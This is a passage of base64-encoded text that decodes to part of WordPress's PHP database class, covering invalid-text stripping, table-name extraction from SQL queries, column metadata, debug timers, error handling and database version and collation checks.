uIHN0b3JlIGFueSBieXRlIHNlcXVlbmNlCgkJCQknbGF0aW4xJyA9PT0gJGNoYXJzZXQKCQkJfHwKCQkJCS8vIEFTQ0lJIGlzIGFsd2F5cyBPSy4KCQkJCSggISBpc3NldCggJHZhbHVlWydhc2NpaSddICkgJiYgJHRoaXMtPmNoZWNrX2FzY2lpKCAkdmFsdWVbJ3ZhbHVlJ10gKSApCgkJCSkgewoJCQkJJHRydW5jYXRlX2J5X2J5dGVfbGVuZ3RoID0gdHJ1ZTsKCQkJCSRuZWVkc192YWxpZGF0aW9uID0gZmFsc2U7CgkJCX0KCgkJCWlmICggJHRydW5jYXRlX2J5X2J5dGVfbGVuZ3RoICkgewoJCQkJbWJzdHJpbmdfYmluYXJ5X3NhZmVfZW5jb2RpbmcoKTsKCQkJCWlmICggZmFsc2UgIT09ICRsZW5ndGggJiYgc3RybGVuKCAkdmFsdWVbJ3ZhbHVlJ10gKSA+ICRsZW5ndGggKSB7CgkJCQkJJHZhbHVlWyd2YWx1ZSddID0gc3Vic3RyKCAkdmFsdWVbJ3ZhbHVlJ10sIDAsICRsZW5ndGggKTsKCQkJCX0KCQkJCXJlc2V0X21ic3RyaW5nX2VuY29kaW5nKCk7CgoJCQkJaWYgKCAhICRuZWVkc192YWxpZGF0aW9uICkgewoJCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQl9CgoJCQkvLyB1dGY4IGNhbiBiZSBoYW5kbGVkIGJ5IHJlZ2V4LCB3aGljaCBpcyBhIGJ1bmNoIGZhc3RlciB0aGFuIGEgREIgbG9va3VwLgoJCQlpZiAoICggJ3V0ZjgnID09PSAkY2hhcnNldCB8fCAndXRmOG1iMycgPT09ICRjaGFyc2V0IHx8ICd1dGY4bWI0JyA9PT0gJGNoYXJzZXQgKSAmJiBmdW5jdGlvbl9leGlzdHMoICdtYl9zdHJsZW4nICkgKSB7CgkJCQkkcmVnZXggPSAnLwoJCQkJCSgKCQkJCQkJKD86IFtceDAwLVx4N0ZdICAgICAgICAgICAgICAgICAgIyBzaW5nbGUtYnl0ZSBzZXF1ZW5jZXMgICAweHh4eHh4eAoJCQkJCQl8ICAgW1x4QzItXHhERl1bXHg4MC1ceEJGXSAgICAgICAjIGRvdWJsZS1ieXRlIHNlcXVlbmNlcyAgIDExMHh4eHh4IDEweHh4eHh4CgkJCQkJCXwgICBceEUwW1x4QTAtXHhCRl1bXHg4MC1ceEJGXSAgICMgdHJpcGxlLWJ5dGUgc2VxdWVuY2VzICAgMTExMHh4eHggMTB4eHh4eHggKiAyCgkJCQkJCXwgICBbXHhFMS1ceEVDXVtceDgwLVx4QkZdezJ9CgkJCQkJCXwgICBceEVEW1x4ODAtXHg5Rl1bXHg4MC1ceEJGXQoJCQkJCQl8ICAgW1x4RUUtXHhFRl1bXHg4MC1ceEJGXXsyfSc7CgoJCQkJaWYgKCAndXRmOG1iNCcgPT09ICRjaGFyc2V0ICkgewoJCQkJCSRyZWdleCAuPSAnCgkJCQkJCXwgICAgXHhGMFtceDkwLVx4QkZdW1x4ODAtXHhCRl17Mn0gIyBmb3VyLWJ5dGUgc2VxdWVuY2VzICAgMTExMTB4eHggMTB4eHh4eHggKiAzCgkJCQkJCXwgICAgW1x4RjEtXHhGM11bXHg4MC1ceEJGXXszfQoJCQkJCQl8ICAgIFx4RjRbXHg4MC1ceDhGXVtceDgwLVx4QkZdezJ9CgkJCQkJJzsKCQkJCX0KCgkJCQkkcmVnZXggLj0gJyl7MSw0MH0gICAgICAgICAgICAgICAgICAgICAgICAgICMgLi4ub25lIG9yIG1vcmUgdGltZXMKCQkJCQkpCgkJCQkJfCAuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgYW55dGhpbmcgZWxzZQoJCQkJCS94JzsKCQkJCSR2YWx1ZVsndmFsdWUnXSA9IHByZWdfcmVwbGFjZSggJHJlZ2V4LCAnJDEnLCAkdmFsdWVbJ3ZhbHVlJ10gKTsKCgoJCQkJaWYgKCBmYWxzZSAhPT0gJGxlbmd0aCAmJiBtYl9zdHJsZW4oICR2YWx1ZVsndmFsdWUnXSwgJ1VURi04JyApID4gJGxlbmd0aCApIHsKCQkJCQkkdmFsdWVbJ3ZhbHVlJ10gPSBtYl9zdWJzdHIoICR2YWx1ZVsndmFsdWUnXSwgMCwgJGxlbmd0aCwgJ1VURi04JyApOwoJCQkJfQoJCQkJY29udGludWU7CgkJCX0KCgkJCS8vIFdlIGNvdWxkbid0IHVzZSBhbnkgbG9jYWwgY29udmVyc2lvbnMsIHNlbmQgaXQgdG8gdGhlIERCLgoJCQkkdmFsdWVbJ2RiJ10gPSAkZGJfY2hlY2tfc3RyaW5nID0gdHJ1ZTsKCQl9CgkJdW5zZXQoICR2YWx1ZSApOyAvLyBSZW1vdmUgYnkgcmVmZXJlbmNlLgoKCQlpZiAoICRkYl9jaGVja19zdHJpbmcgKSB7CgkJCSRxdWVyaWVzID0gYXJyYXkoKTsKCQkJZm9yZWFjaCAoICRkYXRhIGFzICRjb2wgPT4gJHZhbHVlICkgewoJCQkJaWYgKCAhIGVtcHR5KCAkdmFsdWVbJ2RiJ10gKSApIHsKCQkJCQkvLyBXZSdyZSBnb2luZyB0byBuZWVkIHRvIHRydW5jYXRlIGJ5IGNoYXJhY3RlcnMgb3IgYnl0ZXMsIGRlcGVuZGluZyBvbiB0aGUgbGVuZ3RoIHZhbHVlIHdlIGhhdmUuCgkJCQkJaWYgKCAnYnl0ZScgPT09ICR2YWx1ZVsnbGVuZ3RoJ11bJ3R5cGUnXSApIHsKCQkJCQkJLy8gVXNpbmcgYmluYXJ5IGNhdXNlcyBMRUZUKCkgdG8gdHJ1bmNhdGUgYnkgYnl0ZXMuCgkJCQkJCSRjaGFyc2V0ID0gJ2JpbmFyeSc7CgkJCQkJfSBlbHNlIHsKCQkJCQkJJGNoYXJzZXQgPSAkdmFsdWVbJ2NoYXJzZXQnXTsKCQkJCQl9CgoJCQkJCWlmICggaXNfYXJyYXkoICR2YWx1ZVsnbGVuZ3RoJ10gKSApIHsKCQkJCQkJJHF1ZXJpZXNbICRjb2wgXSA9ICR0aGlzLT5wcmVwYXJlKCAiQ09OVkVSVCggTEVGVCggQ09OVkVSVCggJXMgVVNJTkcgJGNoYXJzZXQgKSwgJS4wZiApIFVTSU5HIHskdGhpcy0+Y2hhcnNldH0gKSIsICR2YWx1ZVsndmFsdWUnXSwgJHZhbHVlWydsZW5ndGgnXVsnbGVuZ3RoJ10gKTsKCQkJCQl9IGVsc2UgaWYgKCAnYmluYXJ5JyAhPT0gJGNoYXJzZXQgKSB7CgkJCQkJCS8vIElmIHdlIGRvbid0IGhhdmUgYSBsZW5ndGgsIHRoZXJlJ3Mgbm8gbmVlZCB0byBjb252ZXJ0IGJpbmFyeSAtIGl0IHdpbGwgYWx3YXlzIHJldHVybiB0aGUgc2FtZSByZXN1bHQuCgkJCQkJCSRxdWVyaWVzWyAkY29sIF0gPSAkdGhpcy0+cHJlcGFyZSggIkNPTlZFUlQoIENPTlZFUlQoICVzIFVTSU5HICRjaGFyc2V0ICkgVVNJTkcgeyR0aGlzLT5jaGFyc2V0fSApIiwgJHZhbHVlWyd2YWx1ZSddICk7CgkJCQkJfQoKCQkJCQl1bnNldCggJGRhdGFbICRjb2wgXVsnZGInXSApOwoJCQkJfQoJCQl9CgoJCQkkc3FsID0gYXJyYXkoKTsKCQkJZm9yZWFjaCAoICRxdWVyaWVzIGFzICRjb2x1bW4gPT4gJHF1ZXJ5ICkgewoJCQkJaWYgKCAhICRxdWVyeSApIHsKCQkJCQljb250aW51ZTsKCQkJCX0KCgkJCQkkc3FsW10gPSAkcXVlcnkgLiAiIEFTIHhfJGNvbHVtbiI7CgkJCX0KCgkJCSR0aGlzLT5jaGVja19jdXJyZW50X3F1ZXJ5ID0gZmFsc2U7CgkJCSRyb3cgPSAkdGhpcy0+Z2V0X3JvdyggIlNFTEVDVCAiIC4gaW1wbG9kZSggJywgJywgJHNxbCApLCBBUlJBWV9BICk7CgkJCWlmICggISAkcm93ICkgewoJCQkJcmV0dXJuIG5ldyBXUF9FcnJvciggJ3dwZGJfc3RyaXBfaW52YWxpZF90ZXh0X2ZhaWx1cmUnICk7CgkJCX0KCgkJCWZvcmVhY2ggKCBhcnJheV9rZXlzKCAkZGF0YSApIGFzICRjb2x1bW4gKSB7CgkJCQlpZiAoIGlzc2V0KCAkcm93WyJ4XyRjb2x1bW4iXSApICkgewoJCQkJCSRkYXRhWyAkY29sdW1uIF1bJ3ZhbHVlJ10gPSAkcm93WyJ4XyRjb2x1bW4iXTsKCQkJCX0KCQkJfQoJCX0KCgkJcmV0dXJuICRkYXRhOwoJfQoKCS8qKgoJICogU3RyaXBzIGFueSBpbnZhbGlkIGNoYXJhY3RlcnMgZnJvbSB0aGUgcXVlcnkuCgkgKgoJICogQHNpbmNlIDQuMi4wCgkgKiBAYWNjZXNzIHByb3RlY3RlZAoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHF1ZXJ5IFF1ZXJ5IHRvIGNvbnZlcnQuCgkgKiBAcmV0dXJuIHN0cmluZ3xXUF9FcnJvciBUaGUgY29udmVydGVkIHF1ZXJ5LCBvciBhIFdQX0Vycm9yIG9iamVjdCBpZiB0aGUgY29udmVyc2lvbiBmYWlscy4KCSAqLwoJcHJvdGVjdGVkIGZ1bmN0aW9uIHN0cmlwX2ludmFsaWRfdGV4dF9mcm9tX3F1ZXJ5KCAkcXVlcnkgKSB7CgkJLy8gV2UgZG9uJ3QgbmVlZCB0byBjaGVjayB0aGUgY29sbGF0aW9uIGZvciBxdWVyaWVzIHRoYXQgZG9uJ3QgcmVhZCBkYXRhLgoJCSR0cmltbWVkX3F1ZXJ5ID0gbHRyaW0oICRxdWVyeSwgIlxyXG5cdCAoIiApOwoJCWlmICggcHJlZ19tYXRjaCggJy9eKD86U0hPV3xERVNDUklCRXxERVNDfEVYUExBSU58Q1JFQVRFKVxzL2knLCAkdHJpbW1lZF9xdWVyeSApICkgewoJCQlyZXR1cm4gJHF1ZXJ5OwoJCX0KCgkJJHRhYmxlID0gJHRoaXMtPmdldF90YWJsZV9mcm9tX3F1ZXJ5KCAkcXVlcnkgKTsKCQlpZiAoICR0YWJsZSApIHsKCQkJJGNoYXJzZXQgPSAkdGhpcy0+Z2V0X3RhYmxlX2NoYXJzZXQoICR0YWJsZSApOwoJCQlpZiAoIGlzX3dwX2Vycm9yKCAkY2hhcnNldCApICkgewoJCQkJcmV0dXJuICRjaGFyc2V0OwoJCQl9CgoJCQkvLyBXZSBjYW4ndCByZWxpYWJseSBzdHJpcCB0ZXh0IGZyb20gdGFibGVzIGNvbnRhaW5pbmcgYmluYXJ5L2Jsb2IgY29sdW1ucwoJCQlpZiAoICdiaW5hcnknID09PSAkY2hhcnNldCApIHsKCQkJCXJldHVybiAkcXVlcnk7CgkJCX0KCQl9IGVsc2UgewoJCQkkY2hhcnNldCA9ICR0aGlzLT5jaGFyc2V0OwoJCX0KCgkJJGRhdGEgPSBhcnJheSgKCQkJJ3ZhbHVlJyAgID0+ICRxdWVyeSwKCQkJJ2NoYXJzZXQnID0+ICRjaGFyc2V0LAoJCQknYXNjaWknICAgPT4gZmFsc2UsCgkJCSdsZW5ndGgnICA9PiBmYWxzZSwKCQkpOwoKCQkkZGF0YSA9ICR0aGlzLT5zdHJpcF9pbnZhbGlkX3RleHQoIGFycmF5KCAkZGF0YSApICk7CgkJaWYgKCBpc193cF9lcnJvciggJGRhdGEgKSApIHsKCQkJcmV0dXJuICRkYXRhOwoJCX0KCgkJcmV0dXJuICRkYXRhWzBdWyd2YWx1ZSddOwoJfQoKCS8qKgoJICogU3RyaXBzIGFueSBpbnZhbGlkIGNoYXJhY3RlcnMgZnJvbSB0aGUgc3RyaW5nIGZvciBhIGdpdmVuIHRhYmxlIGFuZCBjb2x1bW4uCgkgKgoJICogQHNpbmNlIDQuMi4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHRhYmxlICBUYWJsZSBuYW1lLgoJICogQHBhcmFtIHN0cmluZyAkY29sdW1uIENvbHVtbiBuYW1lLgoJICogQHBhcmFtIHN0cmluZyAkdmFsdWUgIFRoZSB0ZXh0IHRvIGNoZWNrLgoJICogQHJldHVybiBzdHJpbmd8V1BfRXJyb3IgVGhlIGNvbnZlcnRlZCBzdHJpbmcsIG9yIGEgV1BfRXJyb3Igb2JqZWN0IGlmIHRoZSBjb252ZXJzaW9uIGZhaWxzLgoJICovCglwdWJsaWMgZnVuY3Rpb24gc3RyaXBfaW52YWxpZF90ZXh0X2Zvcl9jb2x1bW4oICR0YWJsZSwgJGNvbHVtbiwgJHZhbHVlICkgewoJCWlmICggISBpc19zdHJpbmcoICR2YWx1ZSApICkgewoJCQlyZXR1cm4gJHZhbHVlOwoJCX0KCgkJJGNoYXJzZXQgPSAkdGhpcy0+Z2V0X2NvbF9jaGFyc2V0KCAkdGFibGUsICRjb2x1bW4gKTsKCQlpZiAoICEgJGNoYXJzZXQgKSB7CgkJCS8vIE5vdCBhIHN0cmluZyBjb2x1bW4uCgkJCXJldHVybiAkdmFsdWU7CgkJfSBlbHNlaWYgKCBpc193cF9lcnJvciggJGNoYXJzZXQgKSApIHsKCQkJLy8gQmFpbCBvbiByZWFsIGVycm9ycy4KCQkJcmV0dXJuICRjaGFyc2V0OwoJCX0KCgkJJGRhdGEgPSBhcnJheSgKCQkJJGNvbHVtbiA9PiBhcnJheSgKCQkJCSd2YWx1ZScgICA9PiAkdmFsdWUsCgkJCQknY2hhcnNldCcgPT4gJGNoYXJzZXQsCgkJCQknbGVuZ3RoJyAgPT4gJHRoaXMtPmdldF9jb2xfbGVuZ3RoKCAkdGFibGUsICRjb2x1bW4gKSwKCQkJKQoJCSk7CgoJCSRkYXRhID0gJHRoaXMtPnN0cmlwX2ludmFsaWRfdGV4dCggJGRhdGEgKTsKCQlpZiAoIGlzX3dwX2Vycm9yKCAkZGF0YSApICkgewoJCQlyZXR1cm4gJGRhdGE7CgkJfQoKCQlyZXR1cm4gJGRhdGFbICRjb2x1bW4gXVsndmFsdWUnXTsKCX0KCgkvKioKCSAqIEZpbmQgdGhlIGZpcnN0IHRhYmxlIG5hbWUgcmVmZXJlbmNlZCBpbiBhIHF1ZXJ5LgoJICoKCSAqIEBzaW5jZSA0LjIuMAoJICogQGFjY2VzcyBwcm90ZWN0ZWQKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRxdWVyeSBUaGUgcXVlcnkgdG8gc2VhcmNoLgoJICogQHJldHVybiBzdHJpbmd8ZmFsc2UgJHRhYmxlIFRoZSB0YWJsZSBuYW1lIGZvdW5kLCBvciBmYWxzZSBpZiBhIHRhYmxlIGNvdWxkbid0IGJlIGZvdW5kLgoJICovCglwcm90ZWN0ZWQgZnVuY3Rpb24gZ2V0X3RhYmxlX2Zyb21fcXVlcnkoICRxdWVyeSApIHsKCQkvLyBSZW1vdmUgY2hhcmFjdGVycyB0aGF0IGNhbiBsZWdhbGx5IHRyYWlsIHRoZSB0YWJsZSBuYW1lLgoJCSRxdWVyeSA9IHJ0cmltKCAkcXVlcnksICc7Ly0jJyApOwoKCQkvLyBBbGxvdyAoc2VsZWN0Li4uKSB1bmlvbiBbLi4uXSBzdHlsZSBxdWVyaWVzLiBVc2UgdGhlIGZpcnN0IHF1ZXJ5J3MgdGFibGUgbmFtZS4KCQkkcXVlcnkgPSBsdHJpbSggJHF1ZXJ5LCAiXHJcblx0ICgiICk7CgoJCS8vIFN0cmlwIGV2ZXJ5dGhpbmcgYmV0d2VlbiBwYXJlbnRoZXNlcyBleGNlcHQgbmVzdGVkIHNlbGVjdHMuCgkJJHF1ZXJ5ID0gcHJlZ19yZXBsYWNlKCAnL1woKD8hXHMqc2VsZWN0KVteKF0qP1wpL2lzJywgJygpJywgJHF1ZXJ5ICk7CgoJCS8vIFF1aWNrbHkgbWF0Y2ggbW9zdCBjb21tb24gcXVlcmllcy4KCQlpZiAoIHByZWdfbWF0Y2goICcvXlxzKig/OicKCQkJCS4gJ1NFTEVDVC4qP1xzK0ZST00nCgkJCQkuICd8SU5TRVJUKD86XHMrTE9XX1BSSU9SSVRZfFxzK0RFTEFZRUR8XHMrSElHSF9QUklPUklUWSk/KD86XHMrSUdOT1JFKT8oPzpccytJTlRPKT8nCgkJCQkuICd8UkVQTEFDRSg/OlxzK0xPV19QUklPUklUWXxccytERUxBWUVEKT8oPzpccytJTlRPKT8nCgkJCQkuICd8VVBEQVRFKD86XHMrTE9XX1BSSU9SSVRZKT8oPzpccytJR05PUkUpPycKCQkJCS4gJ3xERUxFVEUoPzpccytMT1dfUFJJT1JJVFl8XHMrUVVJQ0t8XHMrSUdOT1JFKSooPzpccytGUk9NKT8nCgkJCQkuICcpXHMrKCg/OlswLTlhLXpBLVokXy5gLV18W1x4QzItXHhERl1bXHg4MC1ceEJGXSkrKS9pcycsICRxdWVyeSwgJG1heWJlICkgKSB7CgkJCXJldHVybiBzdHJfcmVwbGFjZSggJ2AnLCAnJywgJG1heWJlWzFdICk7CgkJfQoKCQkvLyBTSE9XIFRBQkxFIFNUQVRVUyBhbmQgU0hPVyBUQUJMRVMKCQlpZiAoIHByZWdfbWF0Y2goICcvXlxzKig/OicKCQkJCS4gJ1NIT1dccytUQUJMRVxzK1NUQVRVUy4rKD86TElLRVxzK3xXSEVSRVxzK05hbWVccyo9XHMqKScKCQkJCS4gJ3xTSE9XXHMrKD86RlVMTFxzKyk/VEFCTEVTLisoPzpMSUtFXHMrfFdIRVJFXHMrTmFtZVxzKj1ccyopJwoJCQkJLiAnKVxXKCg/OlswLTlhLXpBLVokXy5gLV18W1x4QzItXHhERl1bXHg4MC1ceEJGXSkrKVxXL2lzJywgJHF1ZXJ5LCAkbWF5YmUgKSApIHsKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCAnYCcsICcnLCAkbWF5YmVbMV0gKTsKCQl9CgoJCS8vIEJpZyBwYXR0ZXJuIGZvciB0aGUgcmVzdCBvZiB0aGUgdGFibGUtcmVsYXRlZCBxdWVyaWVzLgoJCWlmICggcHJlZ19tYXRjaCggJy9eXHMqKD86JwoJCQkJLiAnKD86RVhQTEFJTlxzKyg/OkVYVEVOREVEXHMrKT8pP1NFTEVDVC4qP1xzK0ZST00nCgkJCQkuICd8REVTQ1JJQkV8REVTQ3xFWFBMQUlOfEhBTkRMRVInCgkJCQkuICd8KD86TE9DS3xVTkxPQ0spXHMrVEFCTEUoPzpTKT8nCgkJCQkuICd8KD86UkVOQU1FfE9QVElNSVpFfEJBQ0tVUHxSRVNUT1JFfENIRUNLfENIRUNLU1VNfEFOQUxZWkV8UkVQQUlSKS4qXHMrVEFCTEUnCgkJCQkuICd8VFJVTkNBVEUoPzpccytUQUJMRSk/JwoJCQkJLiAnfENSRUFURSg/OlxzK1RFTVBPUkFSWSk/XHMrVEFCTEUoPzpccytJRlxzK05PVFxzK0VYSVNUUyk/JwoJCQkJLiAnfEFMVEVSKD86XHMrSUdOT1JFKT9ccytUQUJMRScKCQkJCS4gJ3xEUk9QXHMrVEFCTEUoPzpccytJRlxzK0VYSVNUUyk/JwoJCQkJLiAnfENSRUFURSg/OlxzK1x3Kyk/XHMrSU5ERVguKlxzK09OJwoJCQkJLiAnfERST1BccytJTkRFWC4qXHMrT04nCgkJCQkuICd8TE9BRFxzK0RBVEEuKklORklMRS4qSU5UT1xzK1RBQkxFJwoJCQkJLiAnfCg/OkdSQU5UfFJFVk9LRSkuKk9OXHMrVEFCTEUnCgkJCQkuICd8U0hPV1xzKyg/Oi4qRlJPTXwuKlRBQkxFKScKCQkJCS4gJylccytcKCpccyooKD86WzAtOWEtekEtWiRfLmAtXXxbXHhDMi1ceERGXVtceDgwLVx4QkZdKSspXHMqXCkqL2lzJywgJHF1ZXJ5LCAkbWF5YmUgKSApIHsKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCAnYCcsICcnLCAkbWF5YmVbMV0gKTsKCQl9CgoJCXJldHVybiBmYWxzZTsKCX0KCgkvKioKCSAqIExvYWQgdGhlIGNvbHVtbiBtZXRhZGF0YSBmcm9tIHRoZSBsYXN0IHF1ZXJ5LgoJICoKCSAqIEBzaW5jZSAzLjUuMAoJICoKCSAqIEBhY2Nlc3MgcHJvdGVjdGVkCgkgKi8KCXByb3RlY3RlZCBmdW5jdGlvbiBsb2FkX2NvbF9pbmZvKCkgewoJCWlmICggJHRoaXMtPmNvbF9pbmZvICkKCQkJcmV0dXJuOwoKCQlpZiAoICR0aGlzLT51c2VfbXlzcWxpICkgewoJCQkkbnVtX2ZpZWxkcyA9IEBteXNxbGlfbnVtX2ZpZWxkcyggJHRoaXMtPnJlc3VsdCApOwoJCQlmb3IgKCAkaSA9IDA7ICRpIDwgJG51bV9maWVsZHM7ICRpKysgKSB7CgkJCQkkdGhpcy0+Y29sX2luZm9bICRpIF0gPSBAbXlzcWxpX2ZldGNoX2ZpZWxkKCAkdGhpcy0+cmVzdWx0ICk7CgkJCX0KCQl9IGVsc2UgewoJCQkkbnVtX2ZpZWxkcyA9IEBteXNxbF9udW1fZmllbGRzKCAkdGhpcy0+cmVzdWx0ICk7CgkJCWZvciAoICRpID0gMDsgJGkgPCAkbnVtX2ZpZWxkczsgJGkrKyApIHsKCQkJCSR0aGlzLT5jb2xfaW5mb1sgJGkgXSA9IEBteXNxbF9mZXRjaF9maWVsZCggJHRoaXMtPnJlc3VsdCwgJGkgKTsKCQkJfQoJCX0KCX0KCgkvKioKCSAqIFJldHJpZXZlIGNvbHVtbiBtZXRhZGF0YSBmcm9tIHRoZSBsYXN0IHF1ZXJ5LgoJICoKCSAqIEBzaW5jZSAwLjcxCgkgKgoJICogQHBhcmFtIHN0cmluZyAkaW5mb190eXBlICBPcHRpb25hbC4gVHlwZSBvbmUgb2YgbmFtZSwgdGFibGUsIGRlZiwgbWF4X2xlbmd0aCwgbm90X251bGwsIHByaW1hcnlfa2V5LCBtdWx0aXBsZV9rZXksIHVuaXF1ZV9rZXksIG51bWVyaWMsIGJsb2IsIHR5cGUsIHVuc2lnbmVkLCB6ZXJvZmlsbAoJICogQHBhcmFtIGludCAgICAkY29sX29mZnNldCBPcHRpb25hbC4gMDogY29sIG5hbWUuIDE6IHdoaWNoIHRhYmxlIHRoZSBjb2wncyBpbi4gMjogY29sJ3MgbWF4IGxlbmd0aC4gMzogaWYgdGhlIGNvbCBpcyBudW1lcmljLiA0OiBjb2wncyB0eXBlCgkgKiBAcmV0dXJuIG1peGVkIENvbHVtbiBSZXN1bHRzCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBnZXRfY29sX2luZm8oICRpbmZvX3R5cGUgPSAnbmFtZScsICRjb2xfb2Zmc2V0ID0gLTEgKSB7CgkJJHRoaXMtPmxvYWRfY29sX2luZm8oKTsKCgkJaWYgKCAkdGhpcy0+Y29sX2luZm8gKSB7CgkJCWlmICggJGNvbF9vZmZzZXQgPT0gLTEgKSB7CgkJCQkkaSA9IDA7CgkJCQkkbmV3X2FycmF5ID0gYXJyYXkoKTsKCQkJCWZvcmVhY2ggKCAoYXJyYXkpICR0aGlzLT5jb2xfaW5mbyBhcyAkY29sICkgewoJCQkJCSRuZXdfYXJyYXlbJGldID0gJGNvbC0+eyRpbmZvX3R5cGV9OwoJCQkJCSRpKys7CgkJCQl9CgkJCQlyZXR1cm4gJG5ld19hcnJheTsKCQkJfSBlbHNlIHsKCQkJCXJldHVybiAkdGhpcy0+Y29sX2luZm9bJGNvbF9vZmZzZXRdLT57JGluZm9fdHlwZX07CgkJCX0KCQl9Cgl9CgoJLyoqCgkgKiBTdGFydHMgdGhlIHRpbWVyLCBmb3IgZGVidWdnaW5nIHB1cnBvc2VzLgoJICoKCSAqIEBzaW5jZSAxLjUuMAoJICoKCSAqIEByZXR1cm4gdHJ1ZQoJICovCglwdWJsaWMgZnVuY3Rpb24gdGltZXJfc3RhcnQoKSB7CgkJJHRoaXMtPnRpbWVfc3RhcnQgPSBtaWNyb3RpbWUoIHRydWUgKTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCgkvKioKCSAqIFN0b3BzIHRoZSBkZWJ1Z2dpbmcgdGltZXIuCgkgKgoJICogQHNpbmNlIDEuNS4wCgkgKgoJICogQHJldHVybiBmbG9hdCBUb3RhbCB0aW1lIHNwZW50IG9uIHRoZSBxdWVyeSwgaW4gc2Vjb25kcwoJICovCglwdWJsaWMgZnVuY3Rpb24gdGltZXJfc3RvcCgpIHsKCQlyZXR1cm4gKCBtaWNyb3RpbWUoIHRydWUgKSAtICR0aGlzLT50aW1lX3N0YXJ0ICk7Cgl9CgoJLyoqCgkgKiBXcmFwcyBlcnJvcnMgaW4gYSBuaWNlIGhlYWRlciBhbmQgZm9vdGVyIGFuZCBkaWVzLgoJICoKCSAqIFdpbGwgbm90IGRpZSBpZiB3cGRiOjokc2hvd19lcnJvcnMgaXMgZmFsc2UuCgkgKgoJICogQHNpbmNlIDEuNS4wCgkgKgoJICogQHBhcmFtIHN0cmluZyAkbWVzc2FnZSAgICBUaGUgRXJyb3IgbWVzc2FnZQoJICogQHBhcmFtIHN0cmluZyAkZXJyb3JfY29kZSBPcHRpb25hbC4gQSBDb21wdXRlciByZWFkYWJsZSBzdHJpbmcgdG8gaWRlbnRpZnkgdGhlIGVycm9yLgoJICogQHJldHVybiBmYWxzZXx2b2lkCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBiYWlsKCAkbWVzc2FnZSwgJGVycm9yX2NvZGUgPSAnNTAwJyApIHsKCQlpZiAoICEkdGhpcy0+c2hvd19lcnJvcnMgKSB7CgkJCWlmICggY2xhc3NfZXhpc3RzKCAnV1BfRXJyb3InLCBmYWxzZSApICkgewoJCQkJJHRoaXMtPmVycm9yID0gbmV3IFdQX0Vycm9yKCRlcnJvcl9jb2RlLCAkbWVzc2FnZSk7CgkJCX0gZWxzZSB7CgkJCQkkdGhpcy0+ZXJyb3IgPSAkbWVzc2FnZTsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCXdwX2RpZSgkbWVzc2FnZSk7Cgl9CgoJLyoqCgkgKiBXaGV0aGVyIE15U1FMIGRhdGFiYXNlIGlzIGF0IGxlYXN0IHRoZSByZXF1aXJlZCBtaW5pbXVtIHZlcnNpb24uCgkgKgoJICogQHNpbmNlIDIuNS4wCgkgKgoJICogQGdsb2JhbCBzdHJpbmcgJHdwX3ZlcnNpb24KCSAqIEBnbG9iYWwgc3RyaW5nICRyZXF1aXJlZF9teXNxbF92ZXJzaW9uCgkgKgoJICogQHJldHVybiBXUF9FcnJvcnx2b2lkCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBjaGVja19kYXRhYmFzZV92ZXJzaW9uKCkgewoJCWdsb2JhbCAkd3BfdmVyc2lvbiwgJHJlcXVpcmVkX215c3FsX3ZlcnNpb247CgkJLy8gTWFrZSBzdXJlIHRoZSBzZXJ2ZXIgaGFzIHRoZSByZXF1aXJlZCBNeVNRTCB2ZXJzaW9uCgkJaWYgKCB2ZXJzaW9uX2NvbXBhcmUoJHRoaXMtPmRiX3ZlcnNpb24oKSwgJHJlcXVpcmVkX215c3FsX3ZlcnNpb24sICc8JykgKQoJCQlyZXR1cm4gbmV3IFdQX0Vycm9yKCdkYXRhYmFzZV92ZXJzaW9uJywgc3ByaW50ZiggX18oICc8c3Ryb25nPkVSUk9SPC9zdHJvbmc+OiBXb3JkUHJlc3MgJTEkcyByZXF1aXJlcyBNeVNRTCAlMiRzIG9yIGhpZ2hlcicgKSwgJHdwX3ZlcnNpb24sICRyZXF1aXJlZF9teXNxbF92ZXJzaW9uICkpOwoJfQoKCS8qKgoJICogV2hldGhlciB0aGUgZGF0YWJhc2Ugc3VwcG9ydHMgY29sbGF0aW9uLgoJICoKCSAqIENhbGxlZCB3aGVuIFdvcmRQcmVzcyBpcyBnZW5lcmF0aW5nIHRoZSB0YWJsZSBzY2hlbWUuCgkgKgoJICogVXNlIGB3cGRiOjpoYXNfY2FwKCAnY29sbGF0aW9uJyApYC4KCSAqCgkgKiBAc2luY2UgMi41LjAKCSAqIEBkZXByZWNhdGVkIDMuNS4wIFVzZSB3cGRiOjpoYXNfY2FwKCkKCSAqCgkgKiBAcmV0dXJuIGJvb2wgVHJ1ZSBpZiBjb2xsYXRpb24gaXMgc3VwcG9ydGVkLCBmYWxzZSBpZiB2ZXJzaW9uIGRvZXMgbm90CgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBzdXBwb3J0c19jb2xsYXRpb24oKSB7CgkJX2RlcHJlY2F0ZWRfZnVuY3Rpb24oIF9fRlVOQ1RJT05fXywgJzMuNScsICd3cGRiOjpoYXNfY2FwKCBcJ2NvbGxhdGlvblwnICknICk7CgkJcmV0dXJuICR0aGlzLT5oYXNfY2FwKCAnY29sbGF0aW9uJyApOwoJfQoKCS8qKgoJICogVGhlIGRhdGFiYXNlIGNoYXJhY3RlciBjb2xsYXRlLgoJICoKCSAqIEBzaW5jZSAzLjUuMAoJICoKCSAqIEByZXR1cm4gc3RyaW5nIFRoZSBkYXRhYmFzZSBjaGFyYWN0ZXIgY29sbGF0ZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGdldF9jaGFyc2V0X2NvbGxhdGUoKSB7CgkJJGNoYXJzZXRfY29sbGF0ZSA9ICcnOwoKCQlpZiAoICEgZW1wdHkoICR0aGlzLT5jaGFyc2V0ICkgKQoJCQkkY2hhcnNldF9jb2xsYXRlID0gIkRFRkFVTFQgQ0hBUkFDVEVSIFNFVCAkdGhpcy0+Y2hhcnNldCI7CgkJaWYgKCAhIGVtcHR5KCAkdGhpcy0+Y29sbGF0ZSApICkKCQkJJGNoYXJ